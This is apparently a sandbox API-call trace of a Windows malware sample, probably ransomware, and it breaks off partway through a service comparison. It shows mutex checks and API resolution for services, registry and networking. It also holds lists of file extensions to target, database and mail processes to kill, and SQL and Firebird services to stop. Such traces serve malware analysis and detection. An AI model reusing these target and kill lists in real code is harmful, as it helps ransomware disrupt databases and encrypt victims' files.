	[0186.043] GetProcAddress (hModule=0x77030000, lpProcName="HeapAlloc") returned 0x77bb2dc0
	[0186.043] GetProcAddress (hModule=0x77030000, lpProcName="HeapFree") returned 0x770457f0
	[0186.043] GetProcAddress (hModule=0x77030000, lpProcName="CreatePipe") returned 0x77044590
	[0186.043] GetProcAddress (hModule=0x77030000, lpProcName="SetHandleInformation") returned 0x7709eae0
	[0186.043] GetProcAddress (hModule=0x77030000, lpProcName="CreateProcessW") returned 0x77044610
	[0186.043] GetProcAddress (hModule=0x77030000, lpProcName="CompareStringW") returned 0x77044430
	[0186.043] GetProcAddress (hModule=0x77030000, lpProcName="CompareStringA") returned 0x77044410
	[0186.043] GetProcAddress (hModule=0x77030000, lpProcName="OpenProcess") returned 0x77045cc0
	[0186.043] GetProcAddress (hModule=0x77030000, lpProcName="TerminateProcess") returned 0x770467e0
	[0186.043] GetProcAddress (hModule=0x77030000, lpProcName="GetSystemTime") returned 0x770454e0
	[0186.043] GetProcAddress (hModule=0x77030000, lpProcName="SystemTimeToFileTime") returned 0x770467a0
	[0186.043] GetProcAddress (hModule=0x77030000, lpProcName="GetLastError") returned 0x77045010
	[0186.044] GetProcAddress (hModule=0x77030000, lpProcName="CreateToolhelp32Snapshot") returned 0x7707edc0
	[0186.044] GetProcAddress (hModule=0x77030000, lpProcName="Process32NextW") returned 0x7707f8f0
	[0186.044] GetProcAddress (hModule=0x77030000, lpProcName="Process32FirstW") returned 0x7707f750
	[0186.044] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x749e0000
	[0186.281] GetProcAddress (hModule=0x749e0000, lpProcName="RegOpenKeyExW") returned 0x749fe580
	[0186.282] GetProcAddress (hModule=0x749e0000, lpProcName="RegQueryValueExW") returned 0x749fe5a0
	[0186.282] GetProcAddress (hModule=0x749e0000, lpProcName="RegSetValueExW") returned 0x749ff530
	[0186.282] GetProcAddress (hModule=0x749e0000, lpProcName="RegCloseKey") returned 0x749fed60
	[0186.282] GetProcAddress (hModule=0x749e0000, lpProcName="OpenProcessToken") returned 0x749fefb0
	[0186.282] GetProcAddress (hModule=0x749e0000, lpProcName="GetTokenInformation") returned 0x749fee90
	[0186.283] GetProcAddress (hModule=0x749e0000, lpProcName="OpenSCManagerW") returned 0x74a00540
	[0186.283] GetProcAddress (hModule=0x749e0000, lpProcName="OpenServiceW") returned 0x749ffa20
	[0186.283] GetProcAddress (hModule=0x749e0000, lpProcName="CloseServiceHandle") returned 0x749ffc00
	[0186.283] GetProcAddress (hModule=0x749e0000, lpProcName="ControlService") returned 0x74a126d0
	[0186.283] GetProcAddress (hModule=0x749e0000, lpProcName="QueryServiceStatus") returned 0x74a02380
	[0186.283] GetProcAddress (hModule=0x749e0000, lpProcName="EnumDependentServicesW") returned 0x74a12f70
	[0186.283] GetProcAddress (hModule=0x749e0000, lpProcName="EnumServicesStatusExW") returned 0x749ffc80
	[0186.283] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76ef0000
	[0186.663] GetProcAddress (hModule=0x76ef0000, lpProcName="SystemParametersInfoW") returned 0x76f1f210
	[0186.663] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x74fa0000
	[0186.693] GetProcAddress (hModule=0x74fa0000, lpProcName="ShellExecuteExW") returned 0x75104730
	[0186.693] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77b70000
	[0186.694] GetProcAddress (hModule=0x77b70000, lpProcName="NtQuerySystemInformation") returned 0x77be2070
	[0186.694] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x74570000
	[0186.796] GetProcAddress (hModule=0x74570000, lpProcName="WNetCloseEnum") returned 0x74572640
	[0186.796] GetProcAddress (hModule=0x74570000, lpProcName="WNetOpenEnumW") returned 0x74572790
	[0186.796] GetProcAddress (hModule=0x74570000, lpProcName="WNetEnumResourceW") returned 0x74572410
	[0186.796] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x76b40000
	[0186.799] GetProcAddress (hModule=0x76b40000, lpProcName="WSAStartup") returned 0x76b45b40
	[0186.799] GetProcAddress (hModule=0x76b40000, lpProcName="socket") returned 0x76b54510
	[0186.799] GetProcAddress (hModule=0x76b40000, lpProcName="send") returned 0x76b45030
	[0186.799] GetProcAddress (hModule=0x76b40000, lpProcName="recv") returned 0x76b50c50
	[0186.799] GetProcAddress (hModule=0x76b40000, lpProcName="connect") returned 0x76b45410
	[0186.799] GetProcAddress (hModule=0x76b40000, lpProcName="closesocket") returned 0x76b50910
	[0186.799] GetProcAddress (hModule=0x76b40000, lpProcName="gethostbyname") returned 0x76b76cb0
	[0186.800] GetProcAddress (hModule=0x76b40000, lpProcName="inet_addr") returned 0x76b59160
	[0186.800] GetProcAddress (hModule=0x76b40000, lpProcName="ntohl") returned 0x76b449d0
	[0186.800] GetProcAddress (hModule=0x76b40000, lpProcName="htonl") returned 0x76b449d0
	[0186.800] GetProcAddress (hModule=0x76b40000, lpProcName="htons") returned 0x76b58ff0
	[0186.800] GetProcessHeap () returned 0x750000
	[0186.800] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x20) returned 0x75b1f0
	[0186.800] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=8449664624) returned 1
	[0186.801] GetTickCount () returned 0x113f265
	[0186.801] GetCurrentProcessId () returned 0xf04
	[0186.802] GetTickCount () returned 0x113f265
	[0186.802] GetTickCount () returned 0x113f265
	[0186.802] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x20) returned 0x75b218
	[0186.802] GetVersion () returned 0x23f00206
	[0186.802] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x7) returned 0x766ed8
	[0186.802] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x768178
	[0186.802] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x768178, Size=0x20) returned 0x75b268
	[0186.802] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x75b268, Size=0x40) returned 0x767910
	[0186.802] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xfffe) returned 0x76d7e8
	[0186.803] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_F5163RA") returned 0x1ec
	[0186.803] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x766ed8 | out: hHeap=0x750000) returned 1
	[0186.803] lstrlenW (lpString="Global\\syncronize_") returned 18
	[0186.803] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x767910 | out: hHeap=0x750000) returned 1
	[0186.803] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x7) returned 0x766ff8
	[0186.803] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x768028
	[0186.803] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x768028, Size=0x20) returned 0x75b268
	[0186.803] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x75b268, Size=0x40) returned 0x7677a8
	[0186.803] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xfffe) returned 0x77d7f0
	[0186.803] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_F5163RU") returned 0x1f0
	[0186.803] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x766ff8 | out: hHeap=0x750000) returned 1
	[0186.803] lstrlenW (lpString="Global\\syncronize_") returned 18
	[0186.803] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7677a8 | out: hHeap=0x750000) returned 1
	[0186.803] GetVersion () returned 0x23f00206
	[0186.803] GetCurrentProcess () returned 0xffffffff
	[0186.804] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1
	[0186.804] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1
	[0186.804] CloseHandle (hObject=0x1f4) returned 1
	[0186.804] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x102
	[0186.804] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x3e8) returned 0x0
	[0186.804] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x14) returned 0x7668d8
	[0186.804] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x768100
	[0186.804] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x768100, Size=0x20) returned 0x75b268
	[0186.804] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x75b268, Size=0x40) returned 0x7675f8
	[0186.804] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x7675f8, Size=0x80) returned 0x757128
	[0186.804] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x757128, Size=0x100) returned 0x767eb0
	[0186.804] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x34) returned 0x76a5b8
	[0186.804] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x4) returned 0x766ff8
	[0186.804] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x4) returned 0x767028
	[0186.804] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x8) returned 0x766ed8
	[0186.804] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x768028
	[0186.804] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x4) returned 0x767038
	[0186.804] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x768148
	[0186.804] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x767038, Size=0x8) returned 0x767048
	[0186.804] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x768040
	[0186.804] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x767048, Size=0x10) returned 0x768058
	[0186.804] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x768100
	[0186.804] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x768178
	[0186.804] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x768058, Size=0x20) returned 0x75b268
	[0186.804] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x7680a0
	[0186.804] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x768058
	[0186.804] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x766ff8, Size=0x8) returned 0x767038
	[0186.804] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x767028, Size=0x8) returned 0x766ff8
	[0186.804] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x8) returned 0x766ee8
	[0186.804] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x7681c0
	[0186.804] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x4) returned 0x767028
	[0186.804] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7681d8
	[0186.805] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x767028, Size=0x8) returned 0x767048
	[0186.805] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x768358
	[0186.805] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x767048, Size=0x10) returned 0x768370
	[0186.805] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x7683b8
	[0186.805] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x8) returned 0x767028
	[0186.805] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x768370, Size=0x20) returned 0x78d878
	[0186.805] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x767038, Size=0x10) returned 0x768328
	[0186.805] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x766ff8, Size=0x10) returned 0x768370
	[0186.805] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x8) returned 0x766ff8
	[0186.805] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x7683d0
	[0186.805] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x4) returned 0x767038
	[0186.805] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x768310
	[0186.805] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x767038, Size=0x8) returned 0x767048
	[0186.805] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x8) returned 0x767038
	[0186.805] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x768340
	[0186.805] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x4) returned 0x767068
	[0186.805] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x768388
	[0186.805] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x767068, Size=0x8) returned 0x78e320
	[0186.805] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x768328, Size=0x20) returned 0x78d968
	[0186.805] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x768370, Size=0x20) returned 0x78daf8
	[0186.805] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x8) returned 0x78e2a0
	[0186.805] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x768370
	[0186.805] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x4) returned 0x78e390
	[0186.805] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xa) returned 0x768328
	[0186.805] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x78e390, Size=0x8) returned 0x78e3a0
	[0186.805] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x14) returned 0x766918
	[0186.805] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x14) returned 0x766618
	[0186.805] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91
	[0186.805] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x767eb0 | out: hHeap=0x750000) returned 1
	[0186.805] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x19fde8 | out: lpWSAData=0x19fde8) returned 0
	[0186.809] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7683a0
	[0186.809] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x7683a0, Size=0x20) returned 0x78dad0
	[0186.809] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x78dad0, Size=0x40) returned 0x767b98
	[0186.809] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x767b98, Size=0x80) returned 0x767f18
	[0186.809] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x767f18, Size=0x100) returned 0x7683e8
	[0186.809] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7683a0
	[0186.809] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x7683a0, Size=0x20) returned 0x78db48
	[0186.809] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x78db48, Size=0x40) returned 0x7678c8
	[0186.809] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x7678c8, Size=0x80) returned 0x767f18
	[0186.809] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x767f18, Size=0x100) returned 0x792af8
	[0186.809] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x7683a0
	[0186.809] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x4) returned 0x78e240
	[0186.809] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x792f60
	[0186.809] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x78e240, Size=0x8) returned 0x78e230
	[0186.809] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x14) returned 0x7666b8
	[0186.809] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x78e230, Size=0x10) returned 0x792f48
	[0186.809] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x18) returned 0x766758
	[0186.809] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x1a) returned 0x78d828
	[0186.809] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x792f48, Size=0x20) returned 0x78d8f0
	[0186.809] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x1c) returned 0x78db98
	[0186.810] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x16) returned 0x766638
	[0186.810] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x1a) returned 0x78db48
	[0186.810] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xc) returned 0x792fc0
	[0186.810] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x4) returned 0x78e2d0
	[0186.810] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x40) returned 0x767910
	[0186.810] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x78e2d0, Size=0x8) returned 0x78e2c0
	[0186.810] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x3c) returned 0x7675f8
	[0186.810] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x78e2c0, Size=0x10) returned 0x792f30
	[0186.810] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x14) returned 0x7668f8
	[0186.810] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x18) returned 0x766798
	[0186.810] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x792f30, Size=0x20) returned 0x78d8a0
	[0186.810] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x24) returned 0x766b18
	[0186.810] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81
	[0186.810] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7683e8 | out: hHeap=0x750000) returned 1
	[0186.810] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102
	[0186.810] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x792af8 | out: hHeap=0x750000) returned 1
	[0186.810] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x78d8c8
	[0186.813] EnumServicesStatusExW (in: hSCManager=0x78d8c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 0
	[0186.813] GetLastError () returned 0xea
	[0186.813] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x1c30) returned 0x794d50
	[0186.814] EnumServicesStatusExW (in: hSCManager=0x78d8c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x794d50, cbBufSize=0x1c30, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x794d50, pcbBytesNeeded=0x19fd84, lpServicesReturned=0x19fd9c, lpResumeHandle=0x0) returned 1
	[0186.815] CloseServiceHandle (hSCObject=0x78d8c8) returned 1
	[0186.815] lstrlenW (lpString="Appinfo") returned 7
	[0186.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0186.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0186.817] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0186.817] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0186.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0186.817] lstrlenW (lpString="AppXSvc") returned 7
	[0186.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0186.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0186.817] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0186.817] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0186.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0186.817] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0186.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0186.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0186.817] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0186.817] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0186.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0186.817] lstrlenW (lpString="Audiosrv") returned 8
	[0186.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0186.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0186.817] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0186.817] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0186.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0186.817] lstrlenW (lpString="BFE") returned 3
	[0186.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0186.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0186.817] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0186.818] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0186.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0186.818] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0186.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0186.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0186.818] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0186.818] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0186.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0186.818] lstrlenW (lpString="CDPSvc") returned 6
	[0186.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0186.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0186.818] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0186.818] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0186.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0186.818] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0186.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0186.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0186.818] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0186.818] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0186.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0186.818] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0186.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0186.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0186.818] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0186.818] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0186.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0186.818] lstrlenW (lpString="CryptSvc") returned 8
	[0186.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0186.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0186.818] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0186.818] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0186.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0186.818] lstrlenW (lpString="DcomLaunch") returned 10
	[0186.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0186.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0186.818] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0186.818] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0186.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0186.819] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0186.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0186.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0186.819] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0186.819] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0186.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0186.819] lstrlenW (lpString="Dhcp") returned 4
	[0186.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0186.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0186.819] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0186.819] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0186.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0186.819] lstrlenW (lpString="Dnscache") returned 8
	[0186.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0186.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0186.819] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0186.819] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0186.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0186.819] lstrlenW (lpString="DPS") returned 3
	[0186.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0186.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0186.819] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0186.819] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0186.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0186.819] lstrlenW (lpString="DusmSvc") returned 7
	[0186.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0186.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0186.819] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0186.819] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0186.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0186.819] lstrlenW (lpString="EventLog") returned 8
	[0186.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0186.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0186.820] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
